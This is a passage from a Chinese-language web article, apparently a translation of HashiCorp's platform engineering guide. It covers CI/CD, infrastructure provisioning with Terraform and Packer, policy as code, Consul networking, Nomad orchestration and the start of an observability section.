&lt;li&gt;打造具备现代效率，并且满足团队需要的使用体验&lt;/li&gt;
&lt;li&gt;易于上手&lt;/li&gt;
&lt;li&gt;平缓的学习曲线，只需要少量支持培训（利用业界标准工具）&lt;/li&gt;
&lt;li&gt;完整的易于访问的文档&lt;/li&gt;
&lt;li&gt;流水线即代码&lt;/li&gt;
&lt;li&gt;平台无关（API 驱动）&lt;/li&gt;
&lt;li&gt;内置安全控制（RBAC、审计等）&lt;/li&gt;
&lt;li&gt;和平台集成机密数据管理、认证和健全&lt;/li&gt;
&lt;li&gt;鼓励和支持伙伴生态以及企业技术集成&lt;/li&gt;
&lt;li&gt;扩展服务范围，运行人员可授权和隔离控制范围&lt;/li&gt;
&lt;li&gt;企业级的 SLA（24/7/365）&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;VCS 和 CI/CD 系统可能有一些别的特别需求。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;平台团队选择和演进他们的 VCS 和 CI/CD 解决方案，要考虑存量/传统的基础设施发放、安全以及合规要求的转型。团队应该假设新平台会影响到存量实践，应该识别、协作和协调随之而来的变化。&lt;/p&gt;

&lt;p&gt;平台团队还要有前瞻性。VCS 和 CI/CD 平台会用更多的抽象来让研发人员远离 CI/CD 过程的复杂性。面对包含 Kubernetes 和 Serverless 在内的多种运行环境，HashiCorp 希望用 &lt;a href=&#34;https://www.waypointproject.io/&#34; target=&#34;_blank&#34;&gt;Waypoint&lt;/a&gt; 产品来提供对部署、管理和可观测性的支持。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;流水线支柱：HashiCorp 和合作伙伴（VCS 以及 CI/CD）的方案&lt;/strong&gt;
VCS：GitHub、GitLab、BitBucket
CI/CD：Jenkins、CircleCI、GitHub Action
在目前，方案中的这些选择属于各个领域里面的最流行工具。这些工具已经流行超过十年，所以 HashiCorp 也就没有提供自己的 VCS 或者 CI/CD 方案。
HashiCorp 提供的是在各个平台之上的新的控制层，为平台工程师提供真正的一致的（Kubernetes、ECS 等）平台即服务（PaaS）工作流。HashiCorp Waypoint 承担了这一任务，让开发者能够用统一的工作流来跨平台的构建和发布应用。Waypoint 中，开发者用一个简单的 &lt;code&gt;waypoint up&lt;/code&gt; 命令就能把应用运行起来。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;参考&#34;&gt;参考&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.terraform.io/use-cases/integrate-with-existing-workflows&#34; target=&#34;_blank&#34;&gt;Integrate Terraform with existing CI/CD workflows&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.hashicorp.com/waypoint/docs&#34; target=&#34;_blank&#34;&gt;HashiCorp Waypoint&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.hashicorp.com/partners/find-a-partner?category=tech&#34; target=&#34;_blank&#34;&gt;Find a HashiCorp technology partner&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;支柱-3-基础设施发放&#34;&gt;支柱 3：基础设施发放&lt;/h2&gt;

&lt;p&gt;前面提到的两个支柱，平台团队提供了自服务的 VCS 和 CI/CD 流水线，并且提供了安全能力作为防护。这是软件交付的先决步骤。那么要运行应用的时候，面临的问题就是——在哪里运行？&lt;/p&gt;

&lt;p&gt;每个 IT 组织都需要为应用进行基础设施规划，而平台团队则应该把资源规划视为能力的基础。基于工单的工作流是无法适用于现代的动态 IT 环境的，因此平台工程的首要目标就是消灭这种工作流。平台团队一般会构建自助的基础设施供应服务，这种服务给开发者提供了工作流、模板和工具，这种服务是消灭工单流程的关键举措。当然，这一能力要和前面提到的安全和 VCS 等支柱结合起来。&lt;/p&gt;

&lt;p&gt;通常会使用 IaC（&lt;a href=&#34;https://www.hashicorp.com/resources/what-is-infrastructure-as-code&#34; target=&#34;_blank&#34;&gt;Infrastructure as Code&lt;/a&gt;）技术构建有效的、现代的基础设施平台。基础设施的配置和自动化被变成代码了，那么不管多复杂的基础设施场景，也都能进行自动化了。基础设施代码能够非常方便地进行版本控制，从而进行审计、迭代和协作。市面上有不少的 IaC 工具，不过最常见的还是 &lt;a href=&#34;https://www.terraform.io/&#34; target=&#34;_blank&#34;&gt;HashiCorp Terraform&lt;/a&gt;，他的市占率远超&lt;a href=&#34;https://survey.stackoverflow.co/2023/#section-most-popular-technologies-other-tools&#34; target=&#34;_blank&#34;&gt;同类其他产品&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;大量组织采用 Terraform 的原因是它的庞大生态。这一生态让平台工程师能够满足基础设施能力的一个主要需求：扩展性。扩展能力强的社区让平台工程师能够在不开发新代码的情况下，快速采用新技术和服务。&lt;/p&gt;

&lt;h3 id=&#34;基础设施发放-模块和镜像&#34;&gt;基础设施发放：模块和镜像&lt;/h3&gt;

&lt;p&gt;要构建标准化的基础设施工作流，就要把基础设施重构为可复用的组件，理想情况下，这些组件还应该是不可变更的。不可变基础设施在现代 IT 世界里是一个普遍标准，这种概念能有效的降低复杂性，简化了排障过程，同时也提高了可靠性和安全性。&lt;/p&gt;

&lt;p&gt;不可变意味着所有的变更都是对基础设施进行删除-重建的过程，这样就最小化了对服务器进行补丁和配置变更的要求，确保每次服务迭代都是用的是新建的、经过测试以及更新过的实例。不可变还实际促进了 Runbook 校验以及故障演练、金丝雀部署等能力的实际落地。很多组织会使用 Terraform 或者其他类似的工具来落地不可变原则——仅需修改配置代码，就能构建或者重构建大量基础设施资源。有些组织还构建了黄金镜像流水线，所谓黄金镜像，指的是经过测试的、符合安全以及合规需求的机器镜像，这种流水线专门用于黄金镜像的构建和部署。&lt;/p&gt;

&lt;p&gt;除了机器镜像之外，现代 IT 组织还将基础设施代码组织成可复用的模块。软件开发的核心原则之一就是不要重新发明轮子，因此模块化对于基础设施代码化是非常重要的。模块化过程会根据架构原则，抽象出轻量级的模块，而避免直接使用孤立的对象。通常会对基础设施代码进行版本化管理，并和服务目录、测试框架等第三方系统进行交互。&lt;/p&gt;

&lt;p&gt;高效 IT 团队会把黄金镜像流水线以及自己的模块仓库结合起来，来为应用程序构建基础设施。开发者无需知道太多的基础设施细节和内部机制，凭借黄金镜像流水线和基础设施模块，能够直接获得一个可重复、有弹性、可预测的工作流，其中甚至还包含了安全、合规以及最佳实践，&lt;/p&gt;

&lt;h3 id=&#34;工作流-模块和镜像&#34;&gt;工作流：模块和镜像&lt;/h3&gt;

&lt;p&gt;典型的基础设施供应流程会有 6 个步骤：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;编码&lt;/strong&gt;：开发者提交代码，并向流水线提交任务&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;校验&lt;/strong&gt;：CI/CD 平台向 idP 平台申请认证和鉴权&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;idP 响应&lt;/strong&gt;：如果验证通过，流水线启动任务（例如测试、构建和部署）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;请求&lt;/strong&gt;：CI/CD 自动化工作流构建模块、制品、镜像以及其它基础设施组件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;响应&lt;/strong&gt;：（执行器）把响应结果（成功、失败，以及元数据）传递给 CI/CD 平台&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;输出&lt;/strong&gt;：模块、制品以及镜像配置等基础设施组件被部署或者存储。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;images/03-01.png&#34; alt=&#34;03-01&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;策略即代码&#34;&gt;策略即代码&lt;/h3&gt;

&lt;p&gt;原本基础设施供应的重点被认为是运维问题，而敏捷开发实践已经将其转变为应用交付的需求。基础设施的发放现在已经变成了商业成功的基本要素。企业战略和顾客业务都和基础设施发放工作息息相关，这不仅仅关系到运维成本。&lt;/p&gt;

&lt;p&gt;要实现转型，过程控制和工作流都是需要做出改变的。历史上，运维人员通过工单保障基础设施发放过程的合规。这些工单通常涉及鉴权、审批、安全性、成本等方面。整个过程都要进行合规性和控制实践的审计。&lt;/p&gt;

&lt;p&gt;如今，开发人员和其它平台用户希望用自助方式来进行基础设施发放，这种流程必须改变。需要实现一系列的代码化安全控制以及护栏，满足合规和控制要求。&lt;/p&gt;

&lt;p&gt;在云原生系统中，这些控制是通过&lt;a href=&#34;https://docs.hashicorp.com/sentinel/concepts/policy-as-code&#34; target=&#34;_blank&#34;&gt;策略即代码&lt;/a&gt;的方式来实现的。策略即代码是使用可编程的规则和条件，来完成应用和基础设施的部署，代码中包含了最佳实践、合规要求、安全规则以及成本控制。&lt;/p&gt;

&lt;p&gt;有些工具和系统包含了自己的策略系统，也有高级策略引擎能够和多种系统进行集成。基本需求在于，在系统中能够使用代码的方式来管理策略，并且提供评估、控制、自动化以及反馈流程。&lt;/p&gt;

&lt;p&gt;策略即代码造成了左移的效果，在基础设施发放过程中，能够更早的给用户提供反馈，并让用户能够更快更好地做出决策。策略是需要编写的。平台团队应该负责策略即代码的实践，协同安全、合规、审计以及基础设施团队，一起来保障策略的合理落地。&lt;/p&gt;

&lt;h3 id=&#34;工作流-策略即代码&#34;&gt;工作流：策略即代码&lt;/h3&gt;

&lt;p&gt;要在基础设施供应方面实现策略即代码，需要 5 个步骤：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;编码&lt;/strong&gt;：开发者提交代码，流水线发起任务&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;校验&lt;/strong&gt;：CI/CD 平台向 idP 发起认证和鉴权请求&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;idP 响应&lt;/strong&gt;：如果成功，流水线启动任务（例如测试、构建和部署）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;请求&lt;/strong&gt;：运行计划的基础设施交付任务之前，首先要通过策略引擎进行决策，确定放行还是拦截该资源计划&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;响应&lt;/strong&gt;：包含元数据的响应内容经过 CI/CD 被发送给外部系统。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;images/03-02.png&#34; alt=&#34;03-02&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;需求列表-基础设施发放&#34;&gt;需求列表：基础设施发放&lt;/h3&gt;

&lt;p&gt;要用自助方式提供基础设施发放能力需要：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;端到端自动化的控制和数据平面&lt;/li&gt;
&lt;li&gt;自动化配置（IaC、Runbook）&lt;/li&gt;
&lt;li&gt;预定义的、可配置的工作流&lt;/li&gt;
&lt;li&gt;本地集成 VCS 和 CI/CD 工具&lt;/li&gt;
&lt;li&gt;支持业务所需的多种容器和虚拟机镜像&lt;/li&gt;
&lt;li&gt;为不同的角色和工作流提供不同的界面（GUI、API、CLI、SDK）&lt;/li&gt;
&lt;li&gt;使用广为接受的 IaC 语言——强烈推荐声明式语言&lt;/li&gt;
&lt;li&gt;和业界标准的测试、安全、加密以及机密管理系统保持兼容&lt;/li&gt;
&lt;li&gt;能和通用的工作流组件（例如通知工具、Webhook）进行集成&lt;/li&gt;
&lt;li&gt;支持代码化的门禁：

&lt;ul&gt;
&lt;li&gt;策略即代码：内置的能扩展的策略即代码引擎&lt;/li&gt;
&lt;li&gt;RBAC：以最小特权原则实现的细粒度访问控制&lt;/li&gt;
&lt;li&gt;自动化流程中使用基于 Token 的访问凭据进行认证&lt;/li&gt;
&lt;li&gt;组织级模块和批准模式，实现基础设施的分配工作的模板化&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;使用单点登录和 RBAC 可以集成到可信的鉴权 Provider&lt;/li&gt;
&lt;li&gt;资源的元数据管理（状态、镜像、资源等）：

&lt;ul&gt;
&lt;li&gt;默认拒绝的控制&lt;/li&gt;
&lt;li&gt;加密&lt;/li&gt;
&lt;li&gt;为自然人和机器提供可编程的使用界面&lt;/li&gt;
&lt;li&gt;用支持追溯的配置系统，对被管理对向进行隔离&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;可以支持大型分布式的团队&lt;/li&gt;
&lt;li&gt;支持公开和私有模块&lt;/li&gt;
&lt;li&gt;全面的审计和日志能力&lt;/li&gt;
&lt;li&gt;用 FinOps 支持基于成本的政策和优化&lt;/li&gt;
&lt;li&gt;明确定义的文档和开发者支持&lt;/li&gt;
&lt;li&gt;基于 SLA（例如 24/7/365）的企业支持&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;基础设施支柱：HashiCorp 解决方案&lt;/strong&gt;
&lt;a href=&#34;https://www.terraform.io/&#34; target=&#34;_blank&#34;&gt;HashiCorp Terraform&lt;/a&gt;：基础设施发放方面的业界标准。很多组织都已经采用了 Terraform Cloud 或者企业级 Terraform 作为基础设施发放工作流和护栏。
&lt;a href=&#34;https://www.packer.io/&#34; target=&#34;_blank&#34;&gt;HashiCorp Packer&lt;/a&gt;：构建黄金镜像的事实标准。
&lt;a href=&#34;https://www.hashicorp.com/products/packer&#34; target=&#34;_blank&#34;&gt;HashiCorp Cloud Platform（HCP）Packer&lt;/a&gt;：提供了增强的镜像元数据管理能力，合规自动化以及全局镜像查询能力，HCP 是 HashiCorp 的托管云服务。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;参考-1&#34;&gt;参考&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.hashicorp.com/resources/introduction-sentinel-compliance-policy-as-code&#34; target=&#34;_blank&#34;&gt;基础设施即代码&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.hashicorp.com/blog/hashicorp-terraform-modules-as-building-blocks-for&#34; target=&#34;_blank&#34;&gt;以 Terraform 模块为基础设施的的组件&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.hashicorp.com/resources/introduction-sentinel-compliance-policy-as-code&#34; target=&#34;_blank&#34;&gt;策略即代码：Sentinel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.terraform.io/use-cases/multi-cloud-deployment&#34; target=&#34;_blank&#34;&gt;多云环境下的基础设施发放&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.hashicorp.com/products/terraform/multi-cloud-compliance-and-management&#34; target=&#34;_blank&#34;&gt;多云环境下的合规和管理&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.hashicorp.com/campaign/drift-detection-for-terraform-cloud&#34; target=&#34;_blank&#34;&gt;漂移检测&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.packer.io/use-cases/golden-image-pipeline&#34; target=&#34;_blank&#34;&gt;黄金镜像流水线&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;支柱-4-网络连接&#34;&gt;支柱 4：网络连接&lt;/h2&gt;

&lt;p&gt;如今很多企业还在用传统的模式和硬件，平台工程的讨论中，很少会涉及到网络连接方面的话题。应用间的数据交换依赖网络，基础设施和应用程序的架构也都跟网络强相关，因此连接性问题也应该仔细斟酌。&lt;/p&gt;

&lt;p&gt;创建 DNS 条目，打开防火墙端口，设置网络 ACL 或者更新流量路由规则等日常活动，传统上也是使用工单系统来驱动的。即使是基础设施管理流程已经完全自动化，这种玩法通常也会消耗整天甚至整个星期的时间。另外这些简单的更新通常是人工的、易错的，并且不利于在动态的云环境中执行。如果没有自动化的实现，在高速运转的公有云系统里，IP 地址和连接性这些事情都会琐碎、易变和难于管理。&lt;/p&gt;

&lt;p&gt;为了适应现代动态环境，平台团队将网络功能、软件和设备引入其基础架构的代码配置中。这样可以将基础设施代码化带来的速度、可靠性和版本控制追溯性等优势带到网络领域。&lt;/p&gt;

&lt;p&gt;组织采用了微服务架构之后，紧接着就会意识到软件驱动的服务发现和服务网格解决方案的价值。这些解决方案会基于集中策略自动发现服务和尝试连接服务，在零信任网络中，默认会拒绝服务与服务之间的连接，仅在得到授权的情况下才会进行连接。在这个模型中，有了基于服务的身份，才能确保对常见安全框架的遵从。&lt;/p&gt;

&lt;p&gt;组织的中央共享注册表应该是多云、多区域和多运行时的，这意味着它可以连接各种集群类型，包括虚拟机、裸金属服务器、无服务器或 Kubernetes。团队需要尽量减少对传统网络入口或出口点的需求，以避免将他们的环境带回过时的基于网络边界的安全方法。&lt;/p&gt;

&lt;h3 id=&#34;工作流-连接性&#34;&gt;工作流：连接性&lt;/h3&gt;

&lt;p&gt;典型的网络连接工作流应该有八个步骤：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;代码&lt;/strong&gt;：开发者提交代码

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;注意&lt;/strong&gt;：开发者应该在 RBAC 允许的情况下，能直接访问网络的控制平面。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;校验&lt;/strong&gt;：CI/CD 平台请求 idP 平台进行认证和鉴权&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;请求&lt;/strong&gt;：执行请求内容，例如构建模块、拉取制品、使用内外部策略进行验证等，最终完成资源发放&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;发放&lt;/strong&gt;：发放缺失的基础设施&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置&lt;/strong&gt;：在连接性平台上进行配置&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;连接&lt;/strong&gt;：目标系统基于根据既定策略进行更新&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;响应&lt;/strong&gt;：用元数据的形式，把响应内容返回给 CI/CD 系统，并且通知外部系统执行其它操作，例如安全扫描或者集成测试。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;images/04-01.png&#34; alt=&#34;04-01&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;连接性需求列表&#34;&gt;连接性需求列表&lt;/h3&gt;

&lt;p&gt;成功的网络连接自动化需要：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;中心化的共享仓库，用于发现、连接和加密跨地区、跨运行时和跨供应商的服务&lt;/li&gt;
&lt;li&gt;支持多种角色和控制方式例如 API、GUI、CLI 和 SDK&lt;/li&gt;
&lt;li&gt;健康检查&lt;/li&gt;
&lt;li&gt;分段和管理模型&lt;/li&gt;
&lt;li&gt;L4 和 L7 流量管理&lt;/li&gt;
&lt;li&gt;实现注入深度防御、默认拒绝等安全方面的最佳实践&lt;/li&gt;
&lt;li&gt;集成受信任的身份提供者，支持单点登录和 RBAC&lt;/li&gt;
&lt;li&gt;支持审计&lt;/li&gt;
&lt;li&gt;企业级 SLA 支持&lt;/li&gt;
&lt;li&gt;支持自动配置（IaC、Runbook）&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;HashiCorp 的连接性解决方案&lt;/strong&gt;
&lt;a href=&#34;https://www.consul.io/&#34; target=&#34;_blank&#34;&gt;HashiCorp Consul&lt;/a&gt; 提供先进的基于服务的网络功能，支持常见用例，如服务发现和服务网格。Consul 解决了多平台应用连接性挑战，能够在异构环境（私有云和公共云）和运行时（主机、微服务、传统虚拟机或裸金属基础设施）之间桥接工作负载。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;参考-2&#34;&gt;参考&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.hashicorp.com/consul/docs/concepts/service-discovery&#34; target=&#34;_blank&#34;&gt;Network infrastructure automation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.hashicorp.com/consul/docs/concepts/service-discovery&#34; target=&#34;_blank&#34;&gt;Application networking&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.hashicorp.com/consul/docs/concepts/service-discovery&#34; target=&#34;_blank&#34;&gt;What is service discovery&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.hashicorp.com/consul/docs/concepts/service-discovery&#34; target=&#34;_blank&#34;&gt;What is a service mesh?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.hashicorp.com/consul/docs/concepts/service-discovery&#34; target=&#34;_blank&#34;&gt;HashiCorp Consul documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;支柱-5-编排&#34;&gt;支柱 5：编排&lt;/h2&gt;

&lt;p&gt;当开始部署应用工作负载的时候，如果要处理分布式应用、微服务或者希望在云基础设施上实现弹性，工作负载编排器会让事情变得简单。&lt;/p&gt;

&lt;p&gt;相对于传统技术，Kubernetes 或者 HashiCorp Nomad 这样的工作负载编排器好处多多。不同的选择性投入，会得到不同的收益。例如将应用程序重构为容器化形态，进而采用 Kubernetes，其投入就远高于采用 HashiCorp Nomad 这样的编排器，这是因为 HashiCorp Nomad 的原始设计目的就是支持多种工作负载类型。不管如何选择，工作负载编排器应提供如下能力：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;提高资源使用率&lt;/li&gt;
&lt;li&gt;弹性扩缩容&lt;/li&gt;
&lt;li&gt;多云以及混合云支持&lt;/li&gt;
&lt;li&gt;开发者自助服务&lt;/li&gt;
&lt;li&gt;服务发现和网络（内置插件）&lt;/li&gt;
&lt;li&gt;高可用和故障隔离&lt;/li&gt;
&lt;li&gt;高级调度能力&lt;/li&gt;
&lt;li&gt;资源隔离和安全&lt;/li&gt;
&lt;li&gt;成本优化&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;编排器提供了优化算法，来确定将工作负载分配到基础设施资源上的最佳方式（例如 &lt;code&gt;bin-packing&lt;/code&gt;、分散、亲和、反亲和、自动伸缩、动态资源分配等），这会显著降低成本。这些调度算法能在无需开发者知悉细节的情况下，自动地完成算力分配和韧性设置。&lt;/p&gt;

&lt;p&gt;和其它平台支柱一样，能够前瞻性地兼容未来的环境变化和多样性工作流世很有必要的。编排器还应当具备处理多租户以及跨云、跨数据中心的能力&lt;/p&gt;

&lt;p&gt;记住，不是所有的系统（例如供应商提供的单体应用）都能被容器化，或者转换为现代编排器，所以团队应当帮助其它团队优化转型和自动化编排的流程。现代化编排器提供了很多原生能力。尽管具体的实现和功能在不同系统中有所差异，但存在一些共性的核心要求。&lt;/p&gt;

&lt;h3 id=&#34;工作流-编排&#34;&gt;工作流：编排&lt;/h3&gt;

&lt;p&gt;典型的编排工作流应该包含八个步骤：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Code&lt;/strong&gt;：开发者提交代码。

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;注意&lt;/strong&gt;：开发者应该有在 RBAC 许可的情况下，直连网络控制平面的能力。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;校验&lt;/strong&gt;：CI/CD 平台申请 idP 进行认证和鉴权。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;idP 响应&lt;/strong&gt;：如果认证和鉴权成功，流水线启动普遍任务（测试、构建、部署）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;请求&lt;/strong&gt;：平台执行任务，例如构建模块、下载制品或者使用内外部引擎进行校验等，完成资源发放&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;发放&lt;/strong&gt;：发放和配置基础设施。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置&lt;/strong&gt;：对被编排资源进行配置&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Job&lt;/strong&gt;：编排器在目标基础设施上根据既定任务和策略运行 Job。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;响应&lt;/strong&gt;：将请求的完成情况反馈给 CI/CD 平台，以便进行后续处理或移交给外部系统执行后续动作，例如执行安全扫描或集成测试等。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;images/01-01.png&#34; alt=&#34;05-01&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;编排器需求清单&#34;&gt;编排器需求清单&lt;/h3&gt;

&lt;p&gt;成功的编排需要：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;服务/批处理调度程序&lt;/li&gt;
&lt;li&gt;灵活的任务驱动能力&lt;/li&gt;
&lt;li&gt;可插拔设备接口&lt;/li&gt;
&lt;li&gt;灵活的升级和发布策略&lt;/li&gt;
&lt;li&gt;支持联邦部署&lt;/li&gt;
&lt;li&gt;弹性、高可用的部署拓扑结构&lt;/li&gt;
&lt;li&gt;自动扩缩容&lt;/li&gt;
&lt;li&gt;访问控制系统（IAM JWT/OIDC 和 ACL）&lt;/li&gt;
&lt;li&gt;支持多个界面以适应不同角色和工作流程（GUI、API、CLI、SDK）&lt;/li&gt;
&lt;li&gt;与可信 idP 集成，支持单点登录和委派式 RBAC&lt;/li&gt;
&lt;li&gt;对任务进行功能、逻辑或物理隔离&lt;/li&gt;
&lt;li&gt;原生配额系统&lt;/li&gt;
&lt;li&gt;审计系统&lt;/li&gt;
&lt;li&gt;基于 SLA 提供企业支持（例如 24/7/365）&lt;/li&gt;
&lt;li&gt;通过自动化进行配置（IaC，Runbook）&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;HashiCorp 解决方案&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.nomadproject.io/&#34; target=&#34;_blank&#34;&gt;HashiCorp Nomad&lt;/a&gt; 是一个轻量级的、健壮的、适配多种运行环境的编排器。在官方网站你可以看到 Nomad 的架构、能力、界面以及为&lt;a href=&#34;https://developer.hashicorp.com/nomad/docs/who-uses-nomad&#34; target=&#34;_blank&#34;&gt;客户&lt;/a&gt;运维工作提供的&lt;a href=&#34;https://www.hashicorp.com/resources/how-does-nomad-work&#34; target=&#34;_blank&#34;&gt;帮助&lt;/a&gt;。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;参考-3&#34;&gt;参考&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.hashicorp.com/nomad/docs/nomad-vs-kubernetes/supplement&#34; target=&#34;_blank&#34;&gt;A Kubernetes user’s guide to HashiCorp Nomad&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.hashicorp.com/nomad/docs/nomad-vs-kubernetes/supplement&#34; target=&#34;_blank&#34;&gt;A Kubernetes user’s guide to HashiCorp Nomad secret management&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.hashicorp.com/nomad/docs/nomad-vs-kubernetes/supplement&#34; target=&#34;_blank&#34;&gt;Nomad as a supplement to Kubernetes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.hashicorp.com/nomad/docs/nomad-vs-kubernetes/supplement&#34; target=&#34;_blank&#34;&gt;Nomad as an alternative to Kubernetes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.hashicorp.com/nomad/docs/nomad-vs-kubernetes/supplement&#34; target=&#34;_blank&#34;&gt;Workload orchestration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;支柱-6-可观察性&#34;&gt;支柱 6：可观察性&lt;/h2&gt;

&lt;p&gt;任何平台工作流程的最后一步就是对部署结果进行监控和维护。将可观察性实践和自动化构建到平台中，能够衡量软件、服务、平台和产品的质量和性能，了解系统行为。良好的系统可观察性可以加快并简化问题调查和诊断过程。&lt;/p&gt;

&lt;p&gt;从根本上说，可观察性就是对数据进行记录、组织和可视化处理。仅有数据的可用性并不能提供企业级的可观察性。SRE、DevOps 或其他团队首先确定要生成、收集、聚合、总结和分析哪些数据，以获得有意义且可操作的见解。&lt;/p&gt;

&lt;p&gt;可观测性解决方案使用指标、跟踪和日志数据来对系统进行理解和调试。企业需要在整个堆栈上实现统一的可观测性：云基础设施、运行时编排平台（如 Kubernetes 或 Nomad）、云托管服务（如 Azure 托管数据库）以及业务应用程序。这种统一有助于团队了解云服务和组件之间的相互依赖关系。&lt;/p&gt;

&lt;p&gt;但是数据的统一仅是将可观察性融入平台工程的第一步。平台团队还需要使用模块和部署模板等自动化方式，来落地可观察性的最佳实践。就像平台工程帮助安全功能向左移动一样，通过将可观察性融入容器和镜像，也同样能把可观察性向左移动到基础设施编码和应用构建阶段。如此一来，团队从开始就能够构建并实施全面的遥测策略，并将其自动化到平台工作流程中。&lt;/p&gt;

&lt;p&gt;将可观察性解决方案集成到基础架构代码中的好处很多：开发人员可以更好地了解其系统的运行方式和应用程序的可靠性。团队可以快速调试问题并追溯到根本原因。组织可以通过数据驱动的决策来改进系统、优化性能和提升用户体验。&lt;/p&gt;

&lt;h3 id=&#34;工作流-可观测性&#34;&gt;工作流：可观测性&lt;/h3&gt;

&lt;p&gt;企业级可观测性工作流应该有如下 8 个步骤：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;编码&lt;/strong&gt;：开发人员提交代码

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;注意&lt;/strong&gt;：开发人员应该在 RBAC 许可的情况下直接连接到网络控制平面&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;验证&lt;/strong&gt;：CI/CD 平台请求 idP 进行认证和鉴权&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;idP 响应&lt;/strong&gt;：如果成功，则流水线触发任务（例如测试、构建和部署）&lt;/li&gt;
